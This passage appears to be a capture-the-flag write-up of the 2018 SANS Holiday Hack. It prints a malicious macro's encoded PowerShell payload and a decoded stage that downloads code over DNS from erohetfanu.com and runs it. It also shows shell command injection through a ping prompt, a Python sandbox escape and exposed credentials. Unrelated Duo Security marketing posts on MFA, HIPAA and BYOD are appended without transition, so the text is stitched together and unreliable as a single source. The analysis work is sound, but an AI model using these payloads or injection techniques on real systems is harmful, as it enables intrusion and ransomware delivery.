elf@cb35571ec7af:~$ tshark -r snort.log.pcap -e dns.qry.name -T fields lobbyists.frays.preoffering.baidu.com lobbyists.frays.preoffering.baidu.com 77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net 77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net 77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com 77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com 0.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com 0.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com 0.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net 0.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net frays.360.cn frays.360.cn 1.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net 1.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net 1.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com 1.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com <snip>

We see a number of DNS requests that appear to have the pattern [sequence number].[38 character random hex string].[domain]. Here are Snort rules that catch outbound DNS requests and inbound DNS responses for this pattern:

alert udp any any -> any 53 ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12345; ) alert udp any 53 -> any any ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12346; )

Saving the rules in /etc/snort/rules/local.rules solves the objective:

H4 - Objective 9.2: Identify the Domain

Using the Word docm file, identify the domain name that the malware communicates with.

After solving this problem, talking to Alabaster gives us the macro-enabled doc. We can use oledump.py to get the OLE streams:

~ $ python oledump.py /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm A: word/vbaProject.bin A1: 468 'PROJECT' A2: 95 'PROJECTwm' A3: M 2251 'VBA/Module1' A4: M 2400 'VBA/NewMacros' A5: m 924 'VBA/ThisDocument' A6: 2641 'VBA/_VBA_PROJECT' A7: 620 'VBA/dir'

This tells us that stream A3 has a VBA macro. Dumping the variable provides the payload:

~ $ python oledump.py -s A3 -v /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm Attribute VB_Name = "Module1" Private Sub Document_Open() Dim cmd As String cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" " Shell cmd End Sub

This is a typical macro that launches Powershell. To get the next step in the payload, we need to base64-decode the contents, and then decompress them using the deflate algorithm.

To let Powershell do the hard work for us, we changed the call to iex to instead pipe the output to Out-File. This essentially tells Powershell to dump out the command to a file instead of running it.

This gives us the (roughly formatted) following payload:

function H2A($a) { $o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $ _}; return $o }; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) { $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings }; iex($(H2A $h | Out-string))

This mimics what we saw in the original PCAP - a series of DNS requests in the format of sequence_number.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu[.]com. Essentially, the payload to execute is retrieved via a series of DNS TXT requests.

The answer to the objective is the domain erohetfanu[.]com (without the brackets).

H4 - Objective 9.3: Stop the Malware

Identify a way to stop the malware in its tracks!

We can use the same iex -> Out-File treatment on the previous function to get the final payload, which you can find here.

The payload looks to mimic WannaCry, containing various encryption routines. Our job is to find a way to kill the malware, aka a “killswitch.” Since this is a clone of WannaCry, it’s likely that we’ll need to find a check in the code for a domain that isn’t registered and register it using their system.

Following the advice from the “Analyzing Powershell Malware” KringleCon talk, we fired up Powershell ISE and set a breakpoint above what appeared to be a check for a domain that would cause the malware to shutdown. We added a line above to print out the domain being checked, resulting in the domain being printed to the terminal:

Registering this domain solved the challenge:

H4 - Objective 9.4: Recover Alabaster's Password

Recover Alabaster's password as found in the the encrypted password vault.

The last step is to decrypt the encrypted password database. This was another really tricky one! To start the challenge, we’re given the encrypted database as well as a memory dump that was taken while the malware was running.

Looking through the final Powershell payload we decoded in the previous objective, we see that this malware works by generating a unique, random symmetric key and encrypting it using a certificate containing a public key which is retrieved from DNS. In our memory dump, we won’t have the original symmetric key, since it was cleared. Instead, we have the encrypted version of the key stored in the variable $p_k_e_k. Our goal will be to obtain the master private key so that we can decrypt our symmetric key, which we can then use to decrypt the password database.

Studying the payload, we notice that one call to the function g_o_dns used “A2H source.min.html” as the argument, which would convert “source.min.html” to hex and make the request via DNS. The other call was to get the certificate, and the argument was “7365727665722E637274”, which looked like it might be valid ASCII.

Sure enough, decoding the value into ASCII gives us the filename requested:

>>> '7365727665722E637274'.decode('hex') server.crt

Normally, keys are created as “server.crt” and “server.key”. Encoding “server.key” into hex and making the DNS requests returned the private key:

PS> $(g_o_dns((A2H "server.key"))) -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3 HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4 tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc 0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW <snip>

Now that we have the private key, we just need to find the encrypted symmetric key used to encrypt Alabaster’s password database. We can execute the malware in a VM, setting a breakpoint to dump out what a sample $p_k_e_k looks like, which gives us the following:

Hit Line breakpoint on 'C:\Users\vm_user\Desktop\wannacookie.ps1:220' [DBG]: PS C:\Windows\system32>> $p_k_e_k a194f883ed6f6f7565b24eed97050f63c413dd14a4d753d80a054aade07e94e33070c3b6e32b65df0ed949be624892b167d7ba398639ce32e7f7d 00ad7835cd3fe7bb951cffbaaf2dd5cd837b8f893378d4e5c4757cec56358d94e2f9a69b7d1d535239061e5dc166e8343b90d1a16f8f1c2bbf1f9 22163c40399798308a82fe3c4938b9588dcf83ae6d7155dde8775655a6a326cd44323a71252f590c834f2c7e786928455998a3057d285326f39db 2104b992aa0347abf04fbe55bb57e5476ff459c1cf4b459ebf33f3cd9c3e67ac3d772cc1b72da48902b665aa5c2364140a92611de5e9d17ebb5a5 7790d5ad72882a32e714d02229f1dce1e0aec1e24219

Seeing that the key is 512 bytes, we can search the provided memory dump for other 512 character variables to find the $p_k_e_k used when Alabaster’s password database was being encrypted, revealing:

: len == 512 ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found! : print 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

We want to decrypt this key using our obtained private key. To do this, I converted the encrypted key into raw bytes:

xxd -r -p encrypted_key.hex > encrypted_key

Then, I used OpenSSL to decrypt the key:

openssl rsautl -decrypt -inkey server.key -in encrypted_key -oaep

Note: This took me forever to figure out since I didn’t realize Powershell used OAEP padding when doing RSA operations. By default, OpenSSL uses PKCS#1 v1.5 padding.

With the key in-hand, I made a Powershell script that took pieces from the original malware to decrypt the password database. You can find the script here.

This gives us an SQLite database that we can open, revealing the password to the vault!

Objective 10: Who Is Behind It All?

Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers please explain that plan.

For the last challenge, we need to unlock the Piano Lock. The chords we found in the password vault don’t work, with the message claiming it’s off-key.

The idea here is to use the information from the PDF we found earlier to figure out how to transpose the notes by hand. But you’ll recall that I’m lazy, so I wrote a script using the pychord module to transpose the chords in various steps. It turns out that the answer is that we need to go back a whole step, so the final combination is: DC#DC#DDC#DEF#EF#GAG#AG#A.

In the secret room, we discover that Santa was behind the entire challenge, since he wanted to recruit new people to join the North Pole’s security team.

Cranberry Pi

Essential Editor Skills

To solve this challenge, we need to exit the editor using :q. Easy enough!

The Name Game

For this Cranberry Pi, we’re asked to find the first name of an employee with the last name of “Chan.”

Using the “verify the system” command, we can see that a call to ping is being executed, and we see hints that a database called “onboard.db” is available:

Enter address of server: example.com ping: unknown host example.com onboard.db: SQLite 3.x database

We can inject commands by terminating the ping command using a semicolon. We can start by listing the contents of the directory which confirms the existence of “onboard.db”:

Enter address of server: ; ls Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination menu.ps1 onboard.db runtoanswer onboard.db: SQLite 3.x database

We dumped the contents of “onboard.db” using the .dump SQLite command, filtering the content with grep to find the user with the last name “Chan”:

Enter address of server: ; sqlite3 onboard.db .dump | grep Chan Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067', '4017533509','scottmchan90067@gmail.com'); onboard.db: SQLite 3.x database

We used the same technique to launch runtoanswer to submit the answer:

Enter address of server: ; ./runtoanswer Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination Loading, please wait...... Enter Mr. Chan's first name: Scott

CURLing Master

Looking in /etc/nginx/nginx.conf, we see that HTTP2 is enabled:

<snip> # love using the new stuff! -Bushy listen 8080 http2; <snip>

To make a successful connection, we need to pass the --http2-prior-knowledge to curl:

elf@c63d66fe3f31:~$ curl --http2-prior-knowledge localhost:8080 <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" </body> </html>

We are told that we need to send a POST request with a status argument set, so we’ll do it using the same curl technique:

$ curl --http2-prior-knowledge localhost:8080 -XPOST -d "status=on" <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" <snip>

This solved the challenge!

The Sleighbell

This challenge asks us to win a fake lottery provided by a binary, “sleighbell-lotto.” This is very similar to the “Wumpus” terminal challenge from the 2016 Holiday Hack challenge, so we approached it the same way.

The first step is to load the binary in GDB, disassembling the main function to see if any functions stand out:

elf@e072ce7764b7:~$ gdb sleighbell-lotto (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x00000000000014ca <+0>: push rbp 0x00000000000014cb <+1>: mov rbp,rsp 0x00000000000014ce <+4>: sub rsp,0x10 0x00000000000014d2 <+8>: lea rdi,[rip+0x56d6] # 0x6baf <snip> 0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9 0x0000000000001589 <+191>: jne 0x1597 <main+205> 0x000000000000158b <+193>: mov eax,0x0 0x0000000000001590 <+198>: call 0xfd7 <winnerwinner> 0x0000000000001595 <+203>: jmp 0x15a1 <main+215> 0x0000000000001597 <+205>: mov eax,0x0 0x000000000000159c <+210>: call 0x14b7 <sorry> 0x00000000000015a1 <+215>: mov edi,0x0 0x00000000000015a6 <+220>: call 0x920 <exit@plt> End of assembler dump.

It looks like we’ll want to jump to the winnerwinner function. We can set a breakpoint at main, launch the program, and then make our jump:

(gdb) break main Breakpoint 1 at 0x14ce (gdb) run Starting program: /home/elf/sleighbell-lotto [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x00005555555554ce in main () (gdb) jmp winnerwinner Undefined command: "jmp". Try "help". (gdb) jump winnerwinner Continuing at 0x555555554fdb. <snip>

Congratulations! You've won, and have successfully completed this challenge.

DevOps Fail

This terminal is nearly identical to objective 4 earlier. We used the same git log -p approach to find the following diff, which includes deleted credentials:

diff --git a/server/config/config.js b/server/config/config.js deleted file mode 100644 index 25be269..0000000 --- a/server/config/config.js +++ /dev/null @@ -1,4 +0,0 @@ -// Database URL -module.exports = { url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api -}; diff --git a/server/config/config.js.def b/server/config/config.js.def new file mode 100644 index 0000000..740eba5 --- /dev/null +++ b/server/config/config.js.def @@ -0,0 +1,4 @@ +// Database URL +module.exports = { + 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api' +};

Stall Mucking Report

For this challenge, we’re given a hint that there are automated tasks being executed on the system which may contain credentials. Listing the running processes reveals the password:

$ ps aux | less root 11 0.0 0.0 49532 3284 pts/0 S 04:49 0:00 sudo -u manager /home/manag er/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument -- do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress -- suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload

In this command, we’re given the user, “report-upload” and the password “directreindeerflatterystable.” We used these credentials to upload the report:

elf@d16ab90ad95b:~$ smbclient -U report-upload //localhost/report-upload -c 'put report.txt'

Python Escape from LA

For this challenge, we need to escape out of a Python sandbox. The dir command is a good place to start, showing us what functions are available:

>>> dir() ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__ , '__spec__', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist

In this case, we see a module, code is available, which implements RPEL’s in Python:

>>> help(code) Help on module code: NAME code - Utilities needed to emulate Python's interactive interpreter. …

We can call code.interact, which starts a new RPEL without the restrictions, letting us execute commands:

>>> code.interact() Python 3.5.2 (default, Nov 12 2018, 13:43:14) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. (InteractiveConsole) >>> import subprocess >>> subprocess.call("./i_escaped")

We could also solve this challenge a different way, since the eval function is available to us. Using the technique from the “Escaping Python Shells” KringleCon conference talk, we split our commands into multiple strings to bypass the filtering:

>>> subprocess = eval('__im' + 'port__("subprocess")') >>> subprocess <module 'subprocess' from '/usr/lib/python3.5/subprocess.py'> >>> eval('subprocess' + '.call("./i_escaped")')

Lethal ForensicELFication

Looking at the files in the directory, we see .viminfo which is used to help Vim remember what edits had been done:

$ ls -alh total 5.4M drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 . drwxr-xr-x 1 root root 4.0K Dec 14 16:28 .. -rw-r--r-- 1 elf elf 419 Dec 14 16:13 .bash_history -rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout -rw-r--r-- 1 elf elf 3.5K Dec 14 16:28 .bashrc -rw-r--r-- 1 elf elf 675 May 15 2017 .profile drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .secrets -rw-r--r-- 1 elf elf 5.0K Dec 14 16:13 .viminfo -rwxr-xr-x 1 elf elf 5.3M Dec 14 16:13 runtoanswer

Searching through .viminfo shows “Elinore” being replaced, which is the answer to the challenge.

elf@40d1ad20a995:~$ cat .viminfo <snip> # Last Substitute Search Pattern: ~MSle0~&Elinore # Last Substitute String: $NEVERMORE # Command Line History (newest to oldest): :wq |2,0,1536607231,,"wq" :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g" <snip> # Search String History (newest to oldest): ? Elinore |2,1,1536607217,,"Elinore" <snip>

Yule Log Analysis

For this challenge, we’re asked to search through Windows event logs looking for a successful login from a malicious attacker. We started by using the evtx_dump.py script to convert the entries to XML, making them easier to work with:

elf@c28b4404947c:~$ python evtx_dump.py ho-ho-no.evtx > ho-ho-no.xml elf@48d61bd0ea42:~$ grep "EventID Qualifier" ho-ho-no.xml | sort | uniq -c | sort -nr 756 <EventID Qualifiers="">4624</EventID> 212 <EventID Qualifiers="">4625</EventID> 109 <EventID Qualifiers="">4769</EventID> 108 <EventID Qualifiers="">4776</EventID> 45 <EventID Qualifiers="">4768</EventID> 34 <EventID Qualifiers="">4799</EventID> 10 <EventID Qualifiers="">4688</EventID> 2 <EventID Qualifiers="">5059</EventID> 2 <EventID Qualifiers="">4904</EventID> 2 <EventID Qualifiers="">4738</EventID> 2 <EventID Qualifiers="">4724</EventID> 1 <EventID Qualifiers="">5033</EventID> 1 <EventID Qualifiers="">5024</EventID> 1 <EventID Qualifiers="">4902</EventID> 1 <EventID Qualifiers="">4826</EventID> 1 <EventID Qualifiers="">4647</EventID> 1 <EventID Qualifiers="">4608</EventID>

Looking through the events, event ID 4625 stands out since that’s the Windows login denied error code. Filtering for those entries, we see a bunch of failed login attempts from the same IP for different usernames, which is indicative of credential spraying:

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c 30d}"></Provider> <EventID Qualifiers="">4625</EventID> <snip> <EventData><Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data> <Data Name="SubjectDomainName">EM.KRINGLECON</Data> <Data Name="SubjectLogonId">0x00000000000003e7</Data> <Data Name="TargetUserSid">S-1-0-0</Data> <Data Name="TargetUserName">arun.kumar</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="Status">0xc000006d</Data> <Data Name="FailureReason">%%2313</Data> <Data Name="SubStatus">0xc0000064</Data> <Data Name="LogonType">8</Data> <Data Name="LogonProcessName">Advapi </Data> <Data Name="AuthenticationPackageName">Negotiate</Data> <Data Name="WorkstationName">WIN-KCON-EXCH16</Data> <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data> <Data Name="IpAddress">172.31.254.101</Data> <Data Name="IpPort">40427</Data> </EventData> </Event>

I wrote a script to search through the logs to find a successful login from this IP address, yielding this result:

Username minty.candycane was broken into by 172.31.254.101

Virtual private networks (VPNs) are a proven method for providing remote access to internal applications. Essentially, they create a private, encrypted tunnel for an off-site user to connect to applications in a corporate data center.

But VPNs aren’t a silver bullet – organizations that provide users with just a username and password to log into their VPN connections could be exposed to data breaches if those credentials are stolen.

Protecting your VPN access with multi-factor authentication (MFA) adds an additional layer of defense. In our new ebook, 5 Reasons to Protect Your VPN With MFA, we dig deeper into the benefits of putting MFA on top of your VPN deployment.

In this ebook, you’ll learn:

• How adding multi-factor authentication to your VPN protects against credential theft
• How an extra layer of defense helps you achieve regulatory compliance
• How visibility into all devices improves your overall security posture
• How the MFA-VPN one-two punch provides consistent, secure access to applications on-premises and in the cloud

Download 5 Reasons to Protect Your VPN With MFA now and you’ll also learn how Duo’s MFA solution provides secure remote access to internal corporate applications using Cisco’s AnyConnect VPN on Adaptive Security Appliance (ASA) or FirePower Threat Defense (FTD).

In this blog series, we’ve focused on the pain that is experienced with security solutions in the healthcare industry around poor user experience, admin & help desk burdens, and device visibility and BYOD. These are all elements that need to be balanced while adhering to regulatory compliance controls that are enforced by the Department of Health and Human Services’ Office for Civil Rights (OCR) and the Drug Enforcement Agency (DEA).

In this post, we will focus on the pain points that are associated with the Health Insurance Portability and Accountability Act (HIPAA) Omnibus Rule and the Drug Enforcement Administration (DEA) requirements around Electronic Prescriptions for Controlled Substances (EPCS).

If you are unfamiliar with it, the HIPAA Omnibus rule encompasses the requirements defined under the HIPAA Security and Privacy Rules as well as the provisions under the Health Information Technology for Economic and Clinical Health Act (HITECH). Unsurprisingly, there are a lot of different elements required to ensure the security of electronic personal health information (ePHI).

Feeling the Pain

Healthcare organizations advancing into the digital world are moving away from paper records and prescriptions for patients which, while improving productivity and record-keeping, also introduces new requirements of cybersecurity that that healthcare organizations must meet in order to comply with HIPAA and EPCS regulatory controls.

The HIPAA Security Rule requires covered entities to maintain reasonable and appropriate administrative, technical, and physical safeguards for protecting ePHI. Without proper security controls in place, the organization can be fined if ePHI is lost or stolen or accessed by unauthorized third-parties, and any breach or access by unauthorized parties must be reported under HITECH rules.

DEA guidelines have only been passed into legislation in a handful of states, with more coming by 2020, but currently, any state that permits the use of e-prescribing will follow the DEA guidelines for EPCS regardless if there is state legislation in place. DEA guidelines around the electronic prescription of controlled substances require identity proofing at Level of Assurance 3 (LOA3), meaning a high level of confidence in the user’s identity. Further, the guidelines stipulate that the tokens being used for authentication must meet Federal Information Processing Standard (FIPS) 140-2 Security Level 1.

Under the administrative and technical safeguards, the Privacy Rule limits use and disclosures of ePHI to the "minimum necessary." The Security Rule requires a covered entity to implement policies and procedures for authorizing access to ePHI only when such access is appropriate based on the user or recipient's role.

Under the physical safeguards defined for workstation and device security, a covered entity must implement policies and procedures to specify the proper use of and access to workstations and electronic media. Risk analysis should be an ongoing process, in which a covered entity regularly reviews its records to track access to ePHI and detect security incidents.

Easing the Pain

Balancing regulatory compliance with minimizing the impact to clinician workflows goes beyond implementing multi-factor authentication (MFA) and can become a complex task at all levels of a healthcare organization. Duo provides modern security for healthcare organizations by enabling them to defend patient data, streamline workflows and help ease some of the pain felt by the requirements for EPCS and the HIPAA Omnibus Rule by providing:

Multi-factor authentication as an additional layer of verification to user identities to ensure that only authorized individuals can gain access to systems containing ePHI, as stated in the HIPAA Security Rule §164.308(a)(4)(ii)(B).

Duo provides a one-click authentication and remote identity-proofing solution allowing clinicians to meet EPCS requirements easily. A DEA-accredited auditor, Drummond Group, LLC, have confirmed that Duo Push satisfies EPCS requirements for two-factor authentication which state that the authenticator used must be a cryptographic device or a one-time passcode device that meets Federal Information Processing Standard (FIPS) 140-2 Security Level 1T.

Role-based policies to meet access control requirements for electronic information systems that maintain ePHI by only allowing authorized individuals to access applications containing patient information, as required by HIPAA Security Rule § 164.312.

By establishing Trusted Endpoints with Duo, admins can ensure managed and unmanaged devices are encrypted and passcode-protected. This helps with the assessment of the potential risks and vulnerabilities to the confidentiality, integrity, and availability of ePHI on those devices. Establishing and validating that device-level encryption is in place is a good way to show data wasn’t compromised even when a device is lost or stolen, as required by HIPAA Security Rule §164.308(a)(1)(ii)(A).

Learn more about Duo for Healthcare, and check out An Enterprise Healthcare CISO's Journey to Zero Trust to see how one of the largest healthcare systems in the nation deployed Duo Beyond.

Join us at HIMSS to learn more about Duo’s trusted security solutions that help companies maintain compliance with regulations while keeping patient care simple.

As we all come bleary-eyed and fresh-faced off of another holiday season, we brace ourselves for the inevitable reflections on 2018, and, of course, predictions for the threat landscape in 2019. It is an exciting time of year for reflection and new beginnings, but has anything really changed?

If we look back at 2018, there were some very interesting highs and lows. There were new regulatory controls for identity and data protection that were put in place, including the European Union's General Data Protection Regulation (GDPR), New York: Department of Financial Services Cybersecurity Regulation (NYDFS) and Australia's Notifiable Data Breach (NDB) scheme.

Unfortunately, even though these controls are being defined and cybersecurity is a priority for organizations, there were still a number of large-scale breaches of notable companies that hit the news, including Reddit, Facebook, Twitter, Marriott Hotels and Quora.

Given that there is so much attention on security in this digital age, the prevalence of breaches must mean that malicious attackers are changing their tactics and getting more sophisticated, right? Various 2019 market and industry predictions published so far don’t show things changing drastically; in fact, we will likely see more of the same - as evidence of this, if you’re one of 7.6 million users that play the online game “Town of Salem” you may want to check your account.

But I am not here to theorize about what the future may or may not hold.

The reality is that while the attacks may be becoming harder to detect, attackers are still using the tried, tested and true approaches of phishing, malware, botnets, and ransomware focusing their attacks on the weakest links of the IT security chain. With the workforce on the go, workloads in many clouds, and devices outside corporate controls, knowing who and what to trust are still the biggest IT security challenges being faced.

The outlook for 2019? IT security professionals have a daunting task ahead of them, and a deficit of talent - but that’s a blog post for another time. The influx of bring your own device (BYOD) policies, shadow IT, platform decentralization and the migration to the cloud means that both the C-suite and IT teams need to effectively reduce the threat surface of their organization and meet industry compliance regulations. Meanwhile, they need to balance risk reduction with usability - to eliminate user frustration with minimal impact to their workflows.

The concept of zero-trust security, originally proposed by Forrester in 2010, is re-emerging as the methodology to address security risks and tackle these security challenges being faced, but often this approach is regarded as an arduous undertaking due to the vast number of moving parts and aspects that need to be addressed.

The union of Cisco and Duo Security in 2018 means that IT and security teams have a comprehensive solution available to address the challenges being faced as we go into 2019 and helps organizations meet components of compliance and regulatory requirements with a secure, easy-to-use zero-trust security platform.

Cisco Trusted Access makes it easier and safer to grant and restrict access by establishing trust and software-defined perimeters based on dynamic context, not just static credentials or network topologies. The cornerstone of our approach is to verify user identity and device hygiene before granting access to cloud and on-premises apps with the solutions that Duo has to offer. We do this by providing tools and solutions that help organizations:

• Verify and gain trust in users with multi-factor authentication (MFA).
  
• Validate and get insight & control over devices accessing your corporate resources with endpoint visibility
  
• Secure access to all applications with adaptive authentication & policy enforcement and remote access & single sign-on.
  

So as you embark on all of the excitement and adventures that 2019 has in store, feel free to reach out to us to learn more about how you can go into this new year with a strong security posture so that you can focus on your key business initiatives. You can also give us a try to see how easy it can be to rapidly deploy a security solution that can keep you safeguarded from malicious attacks.

In a previous blog post, we explained the administrative and help desk burden is a common concern of IT operation leaders, often the head of infrastructure, networking and architecture; responsible for managing internal resources and deploying tech projects at their organization.

In this blog post, we’ll cover how the lack of administrative visibility into unmanaged personal devices (also known as bring your own device - BYOD) accessing personal health information (PHI) is a major concern for IT operations (also, head of infrastructure, networking and architecture, or IT VPs and directors), responsible for technology projects deployed in the environment and management of internal resources.

Feelin’ the Pain

Without visibility into endpoints in your environment, how can you ensure that jailbroken or insecure devices aren't gaining access to your patient data? These are some of the challenges you face when you don't have a comprehensive access security solution that can give you insight into endpoints:

HIPAA Violation & Fines - You may unknowingly fall out of compliance with healthcare data regulations that require encryption on devices with PHI if you can't verify encryption status on personal devices in your environment - which can result in millions of HIPAA penalty fines.

Unknown, Poor Security Posture - Unmanaged personal devices may be running older, vulnerable versions of software, or be jailbroken/rooted, and/or not encrypted or passcode-protected. Poor security posture results in easier hacking access to patient data.

Intrusive MDMs - For visibility and control, some healthcare IT admins opt to use mobile device management technology. But these tools are often disruptive because they invade user privacy and are often met with resistance by healthcare professionals when deployed on personal devices.

Easing the Pain

Opt for an access security solution that can provide extensive endpoint security visibility and control, without the intrusiveness of MDMs.

Actionable Endpoint Data - Without the use of intrusive agents, Duo's Endpoint Visibility gives you in-depth security posture data (operating system, platform, browser and plugin versions; plus passcode, screen lock, encryption and rooted/jailbroken status), while flagging out-of-date devices for admins.

Identify Unmanaged Devices - With Trusted Endpoints, you can both enable and secure personal devices in the workplace. You can see which devices logging into your environment are corporate or personal-owned, as well as set device access policies to track and block any untrusted endpoints.

Block Risky Devices - In addition to rich device data, Duo gives you the policy tools you need to notify, warn and/or block users from accessing your applications unless they update their devices, through Duo's Self-Remediation and Endpoint Remediation features. Plus, Duo marks devices that have been tampered (rooted, jailbroken or failed SafetyNet checks).

Our Duo Beyond edition unlocks all of the device insight, policies and control you need to keep access to patient data protected and compliant.

One of the largest healthcare systems in the nation deployed Duo Beyond and discovered 30,000 personal mobile devices that were accessing applications with PHI. Check out An Enterprise Healthcare CISO's Journey to Zero Trust for the full story.